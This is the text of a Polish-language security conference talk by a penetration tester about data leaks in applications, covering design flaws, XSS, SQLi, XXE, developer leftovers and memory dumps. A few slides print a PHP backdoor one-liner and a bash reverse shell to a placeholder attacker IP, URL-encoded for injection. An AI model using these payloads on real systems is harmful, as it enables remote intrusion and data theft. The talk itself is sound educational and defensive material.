Wyciek danych w aplikacjach

Artur Michał Kalinowski

Bio

Artur Michał Kalinowski (amk78)– pentester w LogicalTrust

– wcześniej pentester, administrator, programista, ...

– wykładowca (informatyka śledcza, bezpieczeństwo IT…)

– współpraca z {„gov”} w zakresie informatyki śledczej i bezpieczeństwa IT

– członek zespołu administracyjnego na forum związanym z bezpieczeństwem IT

– autor książki „Metody inwigilacji i elementy informatyki śledczej”

● Testy penetracyjne● Audyty bezpieczeństwa● Szkolenia● Konsultacje● Informatyka śledcza● Aplikacje mobilne

> 10 lat - testy bezpieczeństwa

Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach

Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study, Internet Banking Security, ISSA, SecureCON, SEConference, SekIT, PTI, Open Source Security, PLNOG (…)

Zagadnienia

● Błędne założenia projektowe podstawą przyszłych kłopotów● Typowe błędy, które niosą poważne konsekwencje● Na co zwraca uwagę atakujący● Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji● Analiza działania aplikacji ● Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja

środowisk produkcyjnych ● "Bez komentarza" :) ● Pozyskiwanie wrażliwych danych z pamięci operacyjnej ● Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki? ● Aplikacje mobilne a bezpieczeństwo

Wyciek danych

Źródło: http://www.redorbit.com/media/uploads/2013/09/dataleaks.jpg--2016-03-31

Źródło: Google

Źródło: http://swagct.com/uploads/2012/03/1_1332498132.jpg

Wyciek danych

● Czym jest wyciek danych i z czego często wynika– niewiedza, brak motywacji, brak polityk, wzorców, zasad

– niewłaściwe środowisko, konfiguracja, brak odpowiednich rozwiązań

– presja czasu, budżet (przesunięcia, cięcia, ograniczenia)

– chęć zemsty, sławy

Źródło: http://www.observeit.com/sites/default/files/content_images/blog_images/data-leak1.jpg

Wyciek danych

● Wycieki danych– przypadkowe / niezamierzone (np. na skutek błędów)

– celowe (np. pozostawione celowo luki)

– prowokowane (np. celowe doprowadzenie do wycieku poprzez zainicjowanie odpowiednich działań)

Źródło: http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/Bitcoin2-696x398.png

Wyciek danych

Pozornie niewinne żarty mogą być z łatwością zaadoptowane do rzeczywistych ataków.

Wyciek danych

$_GET['a']($_GET['b']);

Niektóre wycieki danych mogą być wynikiem celowo pozostawionych furtek.

Wyciek danych

Reverse shell z użyciem basha:bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1

tworzymy odpowiedni plik po stronie serwera, który następnie uruchamiamy:

echo "/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b && /bin/bash b

pamiętamy o odpowiednim kodowaniu:php -r "echo urlencode('echo \"/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1\" > b && /bin/bash b');"

echo+%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp%2FIP_ATAKUJACEGO%2F443+0%3E%261%22+%3E+b+%26%26+%2Fbin%2Fbash+b

Wyciek danych

umieszczamy dane w URLu ...

… w efekcie serwer łączy się z nami i uzyskujemy dostęp do wiersza poleceń:

Wyciek danych

● Częste przyczyny i źródła wycieku danychsieć m.in. :

● niewłaściwa ochrona komunikacji,● zła separacja, ● niewłaściwe zarządzanie dostępem i monitoring

Źródło: http://infosystem1.com/wp-content/uploads/2013/09/network-security.jpg

Wyciek danych

● Częste przyczyny i źródła wycieku danych– przykład – pozyskanie IP z sieci wewnętrznej

1) zmiana wersji protokołu z HTTP/1.1 na HTTP/1.0

2) usunięcie pola host z nagłówka żądania

w efekcie:● atakujący zna IP serwera● atakujący zna adresację w sieci, w której znajduje się serwer

proste wykorzystanie:● img z adresem z ujawnionej puli + /icons/right.gif● zdarzenie onload lub onerror● wysłanie linka do spreparowanej strony użytkownikowi

w firmie

Wyciek danych

W efekcie uzyskujemy adresy IP z sieci wewnętrznej, na których uruchomiony jest, z dużym prawdopodobieństwem, serwer Apache.

Analogicznie, na podstawie charakterystycznych lokalizacji zasobów, można zidentyfikować również obecność innych aplikacji w sieci lokalnej.

Wyciek danych

● Częste przyczyny i źródła wycieku danychsystem m.in. :

● niewłaściwa konfiguracja (np. dostępu, aktualizacji, ochrony danych, wpad),

● zrzuty pamięci (np. w wyniku błędów bądź inicjowane przez użytkownika)

● system plików:– pliki tymczasowe– pliki wymiany, hibernacji– metadane– usunięte pliki– slack space– … Źródło:http://osheaven.net/wp-content/uploads/2011/07/data-security.jpg

Wyciek danych

Wyciek danych

● Częste przyczyny i źródła wycieku danychusługi:

● banery,● dane w nagłówkach odpowiedzi, informacje o systemie

i komponentach, ● komunikaty o błędach, ● znane zasoby, ● pliki konfiguracyjne (w tym też .htaccess, robots,

a czasem nawet .bash_history)● .csv, .svn, .git, ● /server-status, /status, ● VRFY

Wyciek danych

● Częste przyczyny i źródła wycieku danych

W przykładzie wykorzystano apache.org. W celu zobrazowania ewentualnego wycieku danych użyto fikcyjnych parametrów.

Wyciek danych

● Częste przyczyny i źródła wycieku danych

Wyciek danych

● Częste przyczyny i źródła wycieku danychaplikacje m.in. :

– pliki konfiguracyjne, includowane,

– intuicyjne nazwy zasobów,

– walidacja jedynie po stronie UI,

– niewłaściwe filtrowanie potencjalnie szkodliwego kodu,

– poleganie na danych wejściowych z niezaufanych źródeł,

– niewłaściwa obsługa uploadu plików,

– brak weryfikacji integralności plików danych lub konfiguracji,

– brak zaciemniania kodu,

– niewłaściwe miejsca składowania danych,

– logowanie danych wrażliwych,

– ...

Wyciek danych

● Częste przyczyny i źródła wycieku danych

Źródło: Google

Wyciek danych

● Częste przyczyny i źródła wycieku danychdane:

● backupy (w tym niewłaściwa polityka składowania, przesyłu, usuwania)● statystyki, logi, dane przykładowe/testowe● pliki z metadanymi (dokumenty, grafika)

użytkownicy: ● wklejenie danych ze schowka, ● użycie podobnych haseł, ● omyłkowe użycie haseł, ● przesłanie danych (np. chęć pomocy, pokazania czegoś ciekawego)● przesłanie danych w złe miejsce (np. wydruk), ● pozostawienie wydruku, ● niewłaściwe zniszczenie danych (np. wyrzucenie do kosza

błędnie/częściowo wydrukowanych dokumentów)

Błędne założenia projektowe

● Niewłaściwa walidacja danych– walidacja jedynie części danych

np. danych z GET/POST

– walidacja po stronie aplikacji (UI)

bez walidacji po stronie serwera

– brak walidacji typów zmiennych

– akceptacja danych dostarczonych w dowolny sposób (POST→GET, Cookie → GET itp.)

– neutralizacja potencjalnie szkodliwych danych na wyjściu, a nie na wejściu

Źródło: http://i.imgur.com/GluNcro.jpg

Błędne założenia projektowe

● Niewłaściwa walidacja danych– brak walidacji niektórych danych

np. pola Host przesyłanego w żądaniu

– poleganie na wartościach kontrolowanych przez użytkownikaUser-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)

– walidacja danych pod względem właściwego typu, ale bez uwzględnienia granicznych wartości

id=-1, id=9999999999999

– brak walidacji pod kątem dopuszczalnych wartości m.in.:możliwych do wczytania plików,

możliwych nazw przesyłanych plików,

identyfikatorów rekordów danych dostępnych dla danego użytkownika

...

Błędne założenia projektowe

● Niewłaściwa ochrona komunikacji– brak użycia funkcji kryptograficznych

– kodowanie zamiast szyfrowania

– użycie „własnych” (podatnych na kryptoanalizę) rozwiązań

– łączenie treści (na jednej stronie dostępne treści pobierane przy użyciu szyfrowanego oraz nieszyfrowanego połączenia)

– brak wymuszenia szyfrowania lub przesyłania danych szyfrowanymi kanałami (HSTS, flaga Secure)

– niewłaściwe użycie funkcji (np. random, zamiast jej bezpiecznego odpowiednika)

– użycie „słabych” funkcji hashujących i algorytmów kryptograficznych

– brak weryfikacji poprawności certyfikatów Źródło: http://bi.gazeta.pl/im/a4/89/dd/z14518692Q,Klucz-zostawil-pod-wycieraczka.jpg

Błędne założenia projektowe

● Niewłaściwe składowanie danych– brak szyfrowania istotnych informacji

– brak weryfikacji integralności danych

– wrażliwe dane w niewłaściwych miejscach (SD)

– kopie zapasowe, logi, uploadowane pliki w publicznie dostępnych miejscach

– niewłaściwe usuwanie/pozostawienie danych

– błędne zarządzanie pamięcią cache

– zapamiętywanie danych formularzy

– znaki wykorzystywane jako separatory pól nie są neutralizowane w danych wejściowych (np. dane zapisywane do pliku, kolumny oddzielone znakiem „|”, a znak „|” nie jest filtrowany i może być użyty np. w nazwie użytkownika).

Źródło: https://d.justpo.st/media/images/2014/09/10dd7c2fc17e23e9034fdff552bf5f71.jpg

Błędne założenia projektowe

● Niewłaściwe oczyszczanie danych– dopuszczenie użycia znaków, które mogą wpłynąć na

logikę działania aplikacji (np. zmienić treść zapytania sql)

– oczyszczanie danych podczas odsyłania treści do aplikacji, a nie przed zapisem danych wejściowych do bazy

– mniejsze restrykcje w stosunku do danych importowanych („słabsza” walidacja)

– poleganie jedynie na frameworku (założenie, że nikt nie utworzy własnej funkcji obsługującej dane, że nikt nie zmieni konfiguracji itp.)

Błędne założenia projektowe

● Niewłaściwe oczyszczanie danych

Źródło: https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636

Błędne założenia projektowe

● Niewłaściwe zarządzanie uprawnieniami– brak spójności pomiędzy funkcjami dostępnymi w interfejsie

użytkownika, a rzeczywistymi uprawnieniami (ograniczenie na zasadzie braku dostępnej danej funkcji w interfejsie)

– brak ochrony zasobów (np. uploadowanych plików, znając nazwę i lokalizację można pozyskać plik)

– dostęp na podstawie danych z niezaufanych źródeł (np. na podstawie IP przesyłanego w X-Forwarded-For)

– brak weryfikacji integralności uprawnień (możliwość zmiany uprawnień poprzez modyfikację plików konfiguracyjnych, zmianę cookies, parametrów URL itp.)

– ...

Błędne założenia projektowe

● Brak uwzględnienia kwestii bezpieczeństwa– wrażliwe dane lub tokeny przesyłane w URL

– linki do zewnętrznych serwisów ze stron, których URLe zawierają istotne informacje (referer)

– brak właściwej obsługi wyjątków, szczegółowe informacje o błędach, w tym fragmenty zapytań i danych

– użycie niezaufanych lub nieaktualnych komponentów, brak uwzględnienia właściwej polityki aktualizacji i utrzymania aplikacji

– ...

Błędne założenia projektowe

Błędne założenia projektowe

Typowe błędy, które niosą poważne konsekwencje

● XSS Niewłaściwie oczyszczane dane wejściowe umożliwiają osadzenie własnego kodu, a przez to przejęcie kontroli nad treścią wyświetlanej strony.

– śledzenie działań użytkownika

– dostęp do treści przeznaczonej dla danego użytkownika (w tym informacji wrażliwych)

– możliwość modyfikacji treści (manipulacji danymi, osadzenia „szkodliwych” treści np. plików)

– przekierowanie na fałszywą stronę (phishing)

Typowe błędy, które niosą poważne konsekwencje

● XSS – pozyskanie hasła

Typowe błędy, które niosą poważne konsekwencje

● XSS – w połączeniu z Metasploitem

Typowe błędy, które niosą poważne konsekwencje

● SQLi

Często widoczne fragmenty zapytań bądź nawet danych. Informacje o błędach ujawniające rodzaj stosowanego rozwiązania, charakterystyczne zachowanie, opóźnienia czasowe itp.– pozyskanie informacji o środowisku

– pozyskanie informacji o użytkownikach

– pozyskanie danych z bazy

– manipulacja danymi (np. zmiana sald)

– dodanie użytkownika do systemu

– podwyższenie uprawnień użytkowników

– dostęp do plików

– umieszczenie „złośliwych” skryptów, dostęp do konsoli

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje

Typowe błędy, które niosą poważne konsekwencje

● XXE

Pozyskanie danych z systemu; plików konfiguracyjnych, listy użytkowników, danych o środowisku...– zakłócenie pracy aplikacji (DoS)

– pozyskanie kodu źródłowego np. .php, w tym ujawnienie danych dostępowych do baz itp.

– ...

Typowe błędy, które niosą poważne konsekwencje

● XXE – pozyskanie listy użytkowników systemu

Typowe błędy, które niosą poważne konsekwencje

● XXE – odczyt plików .php (najpierw szukamy...)

Typowe błędy, które niosą poważne konsekwencje

● XXE– odczytanie zawartości pliku php

Typowe błędy, które niosą poważne konsekwencje

● Brak szyfrowania danych– nieuprawniony dostęp do informacji i jej ujawnienie

– pozyskanie danych uwierzytelniających

– działania w imieniu uprawnionego użytkownika

– manipulacja przesyłanymi danymi

– zakłócenie pracy aplikacji

– ...

Typowe błędy, które niosą poważne konsekwencje

● MITM - pozyskanie przesyłanych danych

Typowe błędy, które niosą poważne konsekwencje

● Wykorzystanie przewidywalnych wartości● przewidywalne identyfikatory (w tym id sesji),● wartości tokenów, ● nazwy kont użytkowników, ● lokalizacja i nazwy plików...

– dostęp do danych innych użytkowników

– dostęp do plików z poziomu niezalogowanych użytkowników

– przejęcie sesji innego użytkownika

– dokonywanie/anulowanie zamówień jako inny użytkownik

– ...

Typowe błędy, które niosą poważne konsekwencje

● Brak zaciemnienia kodu

Łatwa analiza działania oraz identyfikacja potencjalnych podatności.– hardcodowane dane (hasła)

– możliwość wyszukiwania podatnych funkcji i niebezpiecznych konstrukcji (grep + słownik)

– ujawnienie struktur danych, zapytań

– ...

Typowe błędy, które niosą poważne konsekwencje

● Odsyłanie informacji o błędach

Pozwala pozyskać istotne dane i zredukować czas potrzebny na rozpoznanie oraz ilość informacji w logach, które mogą wskazywać na rozpoczęcie ataku.– identyfikacja użytkowników (np. wewnętrznych,

wykorzystywanych po stronie serwera)

– identyfikacja technologii

– informacje o stosowanym oprogramowaniu

– informacje o lokalizacji zasobów

– identyfikacja użytych funkcji i przyczyn błędów

– wskazówki (jakie wartości są akceptowane – ułatwia dalsze ataki)

– identyfikacja obecności użytkownika, zasobu itp.

Typowe błędy, które niosą poważne konsekwencje

● Użycie niewłaściwych funkcji– przepełnienia bufora (pominięcie logowania, dostęp do danych)

– niewłaściwe generatory pseudolosowe (przewidywalne wartości)

– niewłaściwe funkcje hashujące (możliwość kolizji)

– niewłaściwe algorytmy szyfrowania lub protokoły (możliwość pozyskania treści przesyłanych w szyfrowanym połączeniu)

– …

● Niewłaściwe wytwarzanie oprogramowania● możliwe debugowanie,● brak ochrony stosu,● pozostawianie dokumentacji roboczej i informacji o błędach w publicznym miejscu, ● wykorzystanie gotowego kodu z innych aplikacji bez uwzględniania specyfikacji

obecnych wymagań,...

– możliwość przejęcia kontroli nad aplikacją, a nawet systemem

Typowe błędy, które niosą poważne konsekwencje

Na co zwraca uwagę atakujący

● publicznie dostępne informacje – użycie wyszukiwarek celem zdobycia informacji m.in. o:

● ostrzeżeniach, błędach, komunikatach, ● plikach składowych (index.of), ● panelach administracyjnych, ● rodzajach plików (np. .asp, .php), lokalizacji, kopii plików● metadanych● adresach URL

– wpisy na forach● dyskusje programistów związanych z daną aplikacją● dyskusje związane ze znalezionymi przez „wolontariuszy” lukami

● identyfikacja technologii: banery, nagłówki, informacje o błędach, środowisku, komponentach, domyślne strony i zasoby, pliki składowe– poszukiwanie luk związanych ze zidentyfikowaną technologią

i komponentami

Na co zwraca uwagę atakujący

● rodzaj aplikacji, przetwarzanych danych, powiązania z innymi usługami (czy na serwerze obecne inne usługi, które można wykorzystać)– przewidywalność danych (tokenów, identyfikatorów, id sesji, nazw plików)

– obecność logów, statystyk, paneli administracyjnych

● konfiguracja środowiska (czy domyślna, robocza itp.)– domyślne zasoby,

– stosowane mechanizmy zabezpieczeń i monitoringu

– aktualność komponentów

– raportowanie błędów

– ochrona przed zautomatyzowanymi działaniami

● mechanizmy filtrowania i walidacji● mechanizmy uploadu/backupu/importu● polityki bezpieczeństwa: haseł, backupów, utrzymania aplikacji

Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji

● Serwisy online– https://archive.org/web/

– Bing, Google, …

– netcraft

– https://www.shodan.io/

– robtex, virustotal, …

– Facebook, LinkedIn, ...

...

Źródło: archive.org

Źródło: www.shodan.io

Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji

– skanery (np. OWASP ZAP, nikto, sqlmap, Nmap z odpowiednimi skryptami NSE…)

– skanery zasobów (np. DirBuster)

– fuzzery (np. wfuzz)

– proxy (np. OWASP ZAP, Burp)

– frameworki (np. Metasploit)

– łamacze haseł/odgadywanie haseł (np. john, Hydra, Medusa)

– narzędzia konsolowe:curl, openssl, (n)grep, theHarvester, foremost, driftnet, dsniff, exiftool, gooscan, goofile ...

– inne (np. evilgrade)

Analiza działania aplikacji

● czy aplikacja da się uruchomić w kontrolowanym przez nas środowisku (możliwość monitorowania, wstrzymania, podmiany danych, odczytania tymczasowych danych przed usunięciem)

● z jakich komponentów korzysta i jak je weryfikuje (możliwość podmiany)

● jak przetwarza dane wejściowe (czy i na którym etapie je waliduje/oczyszcza)

● czy łączy się do innych hostów (czy połączenie szyfrowane)● jakich funkcji używa (czy są one bezpieczne)● gdzie zapisuje dane robocze i co umieszczane w logach● jakie informacje umieszcza w komunikatach o błędach

Pozostałości developerskie

● odwołania do środowiska developerskiego w kodzie● zasoby testowe, konsole testowe/developerskie● konta testowe● informacje logowane w konsoli● flagi/parametry umożliwiające uwierzytelnienie● funkcje resetowania ustawień, instalatory● zasoby związane z rozwojem aplikacji (repozytoria plików, historia

zmian, zadania do wykonania, dokumentacja projektowa/testowa)● pliki tymczasowe, kopie, stare wersje plików● zrzuty pustych baz (struktur) lub stanów początkowych● zdalny dostęp, aktywne dodatkowe usługi● niewyczyszczone logi oraz dane testowe

Pozostałości developerskie

Pozostałości developerskie

Środowiska developerskie i testowe

● niewłaściwa kontrola dostępu (publiczny dostęp do aplikacji lub jej zasobów)

● zindeksowanie informacji o błędach oraz struktury katalogowej

● wycieki fragmentów kodu● brak wykorzystania kryptografii● tylne furtki (do szybkiego dostępu i zmian)● modyfikacje z pominięciem procesu dokumentowania

zmian● użycie rzeczywistych danych (danych produkcyjnych)● ...

Środowiska produkcyjne

● niewłaściwe wdrożenia– niekompletna lub domyślna konfiguracja

– niekompletny lub nieprzetestowany kod

– szybkie poprawki funkcjonalne lub maskujące błędy

– pozostawienie danych lub dostępów testowych

– niewłaściwe przekazanie danych dostępowych

– niedostateczne przetestowanie/poznanie rozwiązań przez użytkowników i administratorów

● utrzymanie aplikacji– niewłaściwe procedury backupów (tworzenia/składowania/przywracania)

– niewłaściwe procedury aktualizacji

– niewłaściwa/niebezpieczna konfiguracja mechanizmów kontroli dostępu i wymiany danych

● migracja i modyfikacje funkcjonalności– migracja danych we własnym zakresie (własne rozwiązania)

– działania poza interfejsem aplikacji (np. operacje bezpośrednio na bazie)

Komentarze

● szczegółowe opisy kodu (np. parametrów funkcji)ułatwia atakującemu analizę aplikacji i szukanie luk

● opisy planowanych funkcjonalności (np. „tu będzie dodatkowe pole komentarza”)

ciekawe czy jest już to po stronie serwera obsługiwane?

● opisy problemów (np. „tu coś się psuło, więc trzeba było wyłączyć”)czy wyłączone tylko w UI, czy po stronie serwera też wyłączona obsługa?

coś się psuje – dobry trop!

● zakomentowane fragmenty funkcji – oznacza, że z jakiegoś powodu funkcje zostały wyłączone

z jakiego?, może coś nie działało jak trzeba?

● ToDo (np. „zrobić walidację”, „ograniczyć zakres”, „ograniczyć uprawnienia”)

dobrze wiedzieć co nie działa :)

Pozyskiwanie wrażliwych danych z pamięci operacyjnej

● zrzut pamięci procesunp. procdump -ma program.exe

● zrzut całej pamięci RAMnp. Dumpit.exe

● zrzut pamięci jądranp. C:\Windows\Minidump\Minidump.dmp

● pozyskiwanie ciągów tekstowych ze zrzutów np. strings -n 6 program.exe.dmp > program.exe.txt

● pozyskiwanie danych binarnychnp. foremost -o program.exe.dmp

Pozyskiwanie wrażliwych danych z pamięci operacyjnej

Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki

● Podejście atakującego– wykorzystać siłę i zasoby przeciwnika przeciwko niemu

przykład – w firmie stosowane są hasła, które muszą: ● mieć przynajmniej 12 znaków● zawierać zarówno małe jak i wielkie litery● zawierać cyfry● zawierać znaki specjalne

co robi atakujący:● przeszukuje zasoby pamięci/danych np. z użyciem np. strings + grep i szuka

ciągów, które zawierają jednocześnie:– duże i małe litery, cyfry, znaki specjalne i mają przynajmniej 12 znaków

● dzięki temu znacznie ogranicza zbiór potencjalnych haseł np. z kilkudziesięciu/kilkuset MB (wielkość zrzutu procesu), do około kilku KB (np. 100 możliwych ciągów), które odpowiadają wzorcowi przyjętemu dla hasła

● atak wymaga jedynie sprawdzenia niewielkiej ilości potencjalnych haseł

Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki

● Podejście atakującego– wykorzystać siłę i zasoby przeciwnika przeciwko niemu

przykład 2 – w firmie hasła do systemów i aplikacji są zmieniane co 30 dni:

● jest wielu użytkowników● użytkownicy mają dostęp do wielu systemów/aplikacji● muszą się codziennie wiele razy logować

jakie wnioski można z tego wyciągnąć atakujący:● hasła do systemów i aplikacji będą podobne ● użytkownicy użyją schematów np. będą tworzyć hasła w

oparciu o miesiące lub wybrane słowo i kolejne dni● pozyskanie hasła do jednej z aplikacji otwiera furtkę do innych

Aplikacje mobilne a bezpieczeństwo

● Częste błędy:– brak zabezpieczeń kryptograficznych dla istotnych danych

– „wrażliwe” informacje zapisywane do logów

– brak weryfikacji certyfikatów

– dane zapisywane na karcie SD

– zła randomizacja

– brak „zaciemnienia” kodu

– osadzanie haseł i innych „wrażliwych” danych w aplikacji

– api mobilne mniej restrykcyjne w stosunku do restrykcji w przypadku stron WWW

Aplikacje mobilne a bezpieczeństwo

Aplikacje mobilne a bezpieczeństwo

Podsumowanie

● nawet pozornie nieszkodliwe informacje mogą być cenną wskazówką dla atakującego

● jeżeli jakieś dane wyciekną do Internetu, to najprawdopodobniej zostaną powielone n razy w x miejscach

● atakujący często może pozyskać dużo istotnych danych pasywnie - bez nawiązywania połączenia z naszymi serwerami/siecią

● nigdy nie należy zakładać, że atakujący użyje aplikacji zgodnie z jej przeznaczeniem i w spodziewanym środowisku

● wycieki informacji/danych są zaproszeniem dla atakującego i często prowadzą do przykrych konsekwencji

● wycieki mogą powstawać w najmniej spodziewanych miejscach, często przez roztargnienie, niedopatrzenie, niewiedzę

● fałszywy, kontrolowany wyciek może być ciekawą bronią

Dziękuję za uwagę

● Pytania?

Prezentowany materiał przeznaczony wyłącznie do celów edukacyjnych.

Wszelkie nazwy, zdjęcia, znaki firmowe i towarowe niebędące własnością prelegenta oraz firmy, należą do ich właścicieli i zostały użyte jedynie w celach informacyjnych.